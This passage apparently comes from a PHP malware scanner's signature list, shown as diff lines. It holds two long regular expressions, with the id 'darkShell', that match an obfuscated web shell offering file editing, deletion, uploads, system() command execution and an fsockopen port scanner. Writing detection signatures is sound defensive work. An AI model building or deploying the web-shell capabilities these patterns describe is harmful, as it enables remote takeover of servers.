s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;}chdir\(\${\$\w+}\);\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=htmlentities\(\$[_\w\["\\\\\].?]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\);\1[<\\\\\w>\/"]+;\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";(?:\$\w+=["\w\\\\]+;)+(?:\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;)+\$\w+=["\w\\\\]+;\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\1["\\\\\w<>=\s\'.]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."\\\\\w=\s\/<>]+;(?:\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";)+\1["<\\\\\w\s\'.\${}>\/]+;\1["<\\\\\w>\s\'.]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."&\w\\\\\'<\/]+;\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\$\w+=["\\\\\w]+;\1["<\\\\\w>\s=\'.\${}&\/]+;(?:\1["<\\\\\w>\/]+;)+\$\w+=["\\\\\w]+;\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";switch\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\){case"[\w\\\\\s]+":(?:\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;)+\2\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){(?:\$\w+=["\\\\\w]+;)+(?:\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";)+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=fopen\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]},"\w"\);\$\w+=["\\\\\w]+;\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=(?:(?|fread|filesize)\(\${\$\w+},?)+\)\);\${\$\w+}=str_replace\("[\w\\\\\s]+",[<\w\\\\>"]+,\${\$\w+}\);\1["\\\\\w<>=\s\'.]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."\\\\\w=\s\/<>&\${}\']+;\1["\\\\\w\s.:]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\."[\w\\\\\s]+";\1["\\\\\w\s\'=]+\.\${\$\w+}\.["<\w\\\\>]+;\1["<\\\\\w>\s=\'\/;]+\3\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";(?:\$\w+=["\w\\\\]+;)+\${\$\w+}=fopen\(\${\$\w+},"\w"\);if\(fwrite\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]},\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\1\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."\s\\\\\w]+;\3\1["\\\\\w\s.]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."<\\\\\w]+;}}fclose\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\);(break;case")[\w\\\\\s]+":\${\$\w+}=[\$_\w\["\]\\\\]+;if\(unlink\([\${}\w]+\)\){\1\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\.["\s\w\\\\.>]+;\3\$\w+=["\w\\\\]+;\1["\\\\\w\s.${}<]+;}\4[\w\\\\\s]+":(?:\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;)+\2\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\1["<\w\\\\\s=.]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}.["\\\\\w&.]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."\\\\\w\s=]+;(?:\1["\w\\\\:\s\'><=\/]+;)+\3(?:\$\w+=["\w\\\\]+;)+if\(copy\(\${\$\w+},\${\$\w+}\)\){\1"[\w\\\\\s]+";\3\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\1"[\w\\\\\s]+"\.\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."<\w>\\\\=&]+;}}\4[\w\\\\\s]+":(?:\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;)+\2\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){\1"[\w\\\\\s]+"\.\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."<\w>\\\\=&]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."\'\\\\\w\s=>]+;\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;\1["\\\\\w\s\'=>\/;]+\3if\(rename\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]},\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;\3\$\w+=["\w\\\\]+;\1"[\w\\\\\s]+"\.\${\$\w+}[."\\\\\w>;]+}}\4[\w\\\\\s]+":\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;\${\$\w+}=[\$_\w\["\]\\\\]+;\2\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\1["\\\\\w\s\'.]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\.["\\\\\w=.]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\.["\\\\\w\s>]+;(?:\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;)+\1["\\\\\w\s=\'<\/;]+\3if\(rename\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]},\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;\3\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\1"[\w\\\\\s]+"\.\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."<\w>\\\\=&]+;}}\4[\w\\\\\s]+":\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;if\(rmdir\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;\3\$\w+=["\\\\\w]+;\1"[\w\\\\\s]+"\.\${\$\w+}[."\\\\\w]+;}\4[\w\\\\\s]+":\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;\2\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){(?:\1["\\\\\w\s=.\${}\[\]&\':\/<>]+;)+\3\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";system\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\);}\4[\w\\\\\s]+":\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;\2\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){\$\w+=["\w\\\\]+;(?:\1["\\\\\w\s=.\${}\[\]&\':\/<>]+;)+\3\$\w+=["\w\\\\]+;if\(\${\$\w+}=fopen\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]},"\w"\)\){\1["\\\\\w\s=.\${}\[\]&\':\/<>]+;\3\$\w+=["\w\\\\]+;\1["\\\\\w\s=.\${}\[\]&\':\/<>]+;}\$\w+=["\w\\\\]+;fclose\(\${\$\w+}\);}\4[\w\\\\\s]+":\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;\${\$\w+}=basename\([\$_\w\["\\\\\]]+\);\2\${\$\w+}\)\){\1["<\\\\\w\s=\'.]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\.["&\w\\\\\s=\/\-\'>]+;(?:\1["\\\\\w\s=.\${}\[\]&\':\/<>]+;)+\3\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";if\(move_uploaded_file\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]},\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;unlink\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\);\3\1"[\w\\\\\s]+"\.\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."<\w>\\\\=&]+;}}\4[\w\\\\\s]+":\${\$\w+}=[\$_\w\["\]\\\\]+;\2\${\$\w+}\)\){(?:\1["\\\\\w\s=.\${}\[\]&\':\/<>]+;)+\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;\1["\\\\\w\s=.\${}\[\]&\':\/<>]+;\3\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\$\w+=["\\\\\w]+;\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=explode\(":",\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\);if\(\(!is_numeric\(\${\$\w+}\[\d\]\)\)or\(!is_numeric\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\[\d\]\)\)\){\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;\3(?:\$\w+=["\w\\\\]+;)+\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\$\w+=["\w\\\\]+;(?:\${\$\w+}=\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\[\d\];)+\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;while\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}<=\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\){\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\$\w+=["\\\\\w]+;\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=\d;\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=fsockopen\(\$\w+,\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)or\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=\d;if\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}==\d\){\$\w+=["\\\\\w]+;echo\${\$\w+}\.["\\\\\w>]+;}\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\+\+;fclose\(\${\$\w+}\);}}}break;}clearstatcache\(\);(?:\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;){2}\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=scandir\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\);foreach\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\s\w+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\){if\(is_file\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){(?:\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";)+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=round\(filesize\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\/\d+,\d\);\$\w+=["\w\\\\]+;\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\1["<\\\\\w>.\s=]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."<\/\w\\\\>;]+\$\w+=["\\\\\w]+;\1["<\\\\\w>.\s=]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."\\\\\w\s<\/>]+;\1["<\\\\\w>.\s=]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."\\\\\w=&]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."\\\\\w\/<>;]+\$\w+=["\\\\\w]+;\1"[\w\\\\\s]+"\.\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."<\w>\\\\=&]+\${\$\w+}[.">\w\\\\\/<]+;(?:\1["\\\\\w\s=.\${}\[\]&\':\/<>]+;)+\3(?:\$\w+=["\\\\\w]+;){2}\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=scandir\(\${\$\w+}\);(?:\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";){2}\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=count\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\-\d;\1"[\w\\\\\s]+"\.\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."<\w>\\\\=&]+\/\w+>";\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\1["<\\\\\w>.\s=]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."\\\\\w\s=<\/]+;(?:\1["\\\\\w\s=.\${}\[\]&\':\/<>]+;){3}}}\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;~msi',
- 'fast' => '~(?:\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";)+(echo)\s*"(?:[<\w\\\\>\/\s={:}#]+);(?:[\\\\\w\-:]+;)+(?:[\\\\\w}:{\s#]+;)+(?:[\\\\\w}:{#\-\s]+;)+[\\\\\w}<\/]+";\$\w+=["\\\\\w]+;(?:\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";)+\$\w+=["\\\\\w]+;\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";error_reporting\(\d\);\$\w+=["\\\\\w]+;\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\$\w+=["\\\\\w]+;set_time_limit\(\d\);\$\w+=["\\\\\w]+;(?:\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";)+(if\(empty\()[\$_\w\["\\\\\]]+\)\){\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\w()]+;(}else{)\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;}chdir\(\${\$\w+}\);\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=htmlentities\(\$[_\w\["\\\\\].?]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\);\1[<\\\\\w>\/"]+;\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";(?:\$\w+=["\w\\\\]+;)+(?:\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;)+\$\w+=["\w\\\\]+;\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\1["\\\\\w<>=\s\'.]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."\\\\\w=\s\/<>]+;(?:\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";)+\1["<\\\\\w\s\'.\${}>\/]+;\1["<\\\\\w>\s\'.]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."&\w\\\\\'<\/]+;\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\$\w+=["\\\\\w]+;\1["<\\\\\w>\s=\'.\${}&\/]+;(?:\1["<\\\\\w>\/]+;)+\$\w+=["\\\\\w]+;\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";switch\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\){case"[\w\\\\\s]+":(?:\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;)+\2\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){(?:\$\w+=["\\\\\w]+;)+(?:\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";)+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=fopen\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]},"\w"\);\$\w+=["\\\\\w]+;\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=(?:(?|fread|filesize)\(\${\$\w+},?)+\)\);\${\$\w+}=str_replace\("[\w\\\\\s]+",[<\w\\\\>"]+,\${\$\w+}\);\1["\\\\\w<>=\s\'.]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."\\\\\w=\s\/<>&\${}\']+;\1["\\\\\w\s.:]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\."[\w\\\\\s]+";\1["\\\\\w\s\'=]+\.\${\$\w+}\.["<\w\\\\>]+;\1["<\\\\\w>\s=\'\/;]+\3\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";(?:\$\w+=["\w\\\\]+;)+\${\$\w+}=fopen\(\${\$\w+},"\w"\);if\(fwrite\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]},\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\1\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."\s\\\\\w]+;\3\1["\\\\\w\s.]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."<\\\\\w]+;}}fclose\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\);(break;case")[\w\\\\\s]+":\${\$\w+}=[\$_\w\["\]\\\\]+;if\(unlink\([\${}\w]+\)\){\1\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\.["\s\w\\\\.>]+;\3\$\w+=["\w\\\\]+;\1["\\\\\w\s.${}<]+;}\4[\w\\\\\s]+":(?:\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;)+\2\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\1["<\w\\\\\s=.]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}.["\\\\\w&.]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."\\\\\w\s=]+;(?:\1["\w\\\\:\s\'><=\/]+;)+\3(?:\$\w+=["\w\\\\]+;)+if\(copy\(\${\$\w+},\${\$\w+}\)\){\1"[\w\\\\\s]+";\3\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\1"[\w\\\\\s]+"\.\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."<\w>\\\\=&]+;}}\4[\w\\\\\s]+":(?:\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;)+\2\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){\1"[\w\\\\\s]+"\.\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."<\w>\\\\=&]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."\'\\\\\w\s=>]+;\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;\1["\\\\\w\s\'=>\/;]+\3if\(rename\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]},\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;\3\$\w+=["\w\\\\]+;\1"[\w\\\\\s]+"\.\${\$\w+}[."\\\\\w>;]+}}\4[\w\\\\\s]+":\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;\${\$\w+}=[\$_\w\["\]\\\\]+;\2\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\1["\\\\\w\s\'.]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\.["\\\\\w=.]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\.["\\\\\w\s>]+;(?:\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;)+\1["\\\\\w\s=\'<\/;]+\3if\(rename\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]},\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;\3\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\1"[\w\\\\\s]+"\.\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."<\w>\\\\=&]+;}}\4[\w\\\\\s]+":\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;if\(rmdir\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;\3\$\w+=["\\\\\w]+;\1"[\w\\\\\s]+"\.\${\$\w+}[."\\\\\w]+;}\4[\w\\\\\s]+":\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;\2\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){(?:\1["\\\\\w\s=.\${}\[\]&\':\/<>]+;)+\3\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";system\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\);}\4[\w\\\\\s]+":\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;\2\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){\$\w+=["\w\\\\]+;(?:\1["\\\\\w\s=.\${}\[\]&\':\/<>]+;)+\3\$\w+=["\w\\\\]+;if\(\${\$\w+}=fopen\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]},"\w"\)\){\1["\\\\\w\s=.\${}\[\]&\':\/<>]+;\3\$\w+=["\w\\\\]+;\1["\\\\\w\s=.\${}\[\]&\':\/<>]+;}\$\w+=["\w\\\\]+;fclose\(\${\$\w+}\);}\4[\w\\\\\s]+":\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=[\$_\w\["\\\\\]]+;\${\$\w+}=basename\([\$_\w\["\\\\\]]+\);\2\${\$\w+}\)\){\1["<\\\\\w\s=\'.]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\.["&\w\\\\\s=\/\-\'>]+;(?:\1["\\\\\w\s=.\${}\[\]&\':\/<>]+;)+\3\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";if\(move_uploaded_file\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]},\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;unlink\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\);\3\1"[\w\\\\\s]+"\.\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."<\w>\\\\=&]+;}}\4[\w\\\\\s]+":\${\$\w+}=[\$_\w\["\]\\\\]+;\2\${\$\w+}\)\){(?:\1["\\\\\w\s=.\${}\[\]&\':\/<>]+;)+\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;\1["\\\\\w\s=.\${}\[\]&\':\/<>]+;\3\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\$\w+=["\\\\\w]+;\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=explode\(":",\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\);if\(\(!is_numeric\(\${\$\w+}\[\d\]\)\)or\(!is_numeric\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\[\d\]\)\)\){\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;\3(?:\$\w+=["\w\\\\]+;)+\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\$\w+=["\w\\\\]+;(?:\${\$\w+}=\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\[\d\];)+\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;while\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}<=\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\){\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\$\w+=["\\\\\w]+;\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=\d;\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=fsockopen\(\$\w+,\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)or\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=\d;if\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}==\d\){\$\w+=["\\\\\w]+;echo\${\$\w+}\.["\\\\\w>]+;}\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\+\+;fclose\(\${\$\w+}\);}}}break;}clearstatcache\(\);(?:\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;){2}\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=scandir\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\);foreach\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\s\w+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\){if\(is_file\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\){(?:\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";)+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=round\(filesize\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\/\d+,\d\);\$\w+=["\w\\\\]+;\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\1["<\\\\\w>.\s=]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."<\/\w\\\\>;]+\$\w+=["\\\\\w]+;\1["<\\\\\w>.\s=]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."\\\\\w\s<\/>]+;\1["<\\\\\w>.\s=]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."\\\\\w=&]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."\\\\\w\/<>;]+\$\w+=["\\\\\w]+;\1"[\w\\\\\s]+"\.\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."<\w>\\\\=&]+\${\$\w+}[.">\w\\\\\/<]+;(?:\1["\\\\\w\s=.\${}\[\]&\':\/<>]+;)+\3(?:\$\w+=["\\\\\w]+;){2}\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=scandir\(\${\$\w+}\);(?:\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";){2}\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}=count\(\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}\)\-\d;\1"[\w\\\\\s]+"\.\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."<\w>\\\\=&]+\/\w+>";\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]="[\w\\\\\s]+";\1["<\\\\\w>.\s=]+\${\${"[\w\\\\\s]+"}\["[\w\\\\\s]+"\]}[."\\\\\w\s=<\/]+;(?:\1["\\\\\w\s=.\${}\[\]&\':\/<>]+;){3}}}\1["\\\\\w:\s.\$\[\]>()_\'<\/%]+;~msi',
- 'id' => 'darkShell',
- ),
- array(
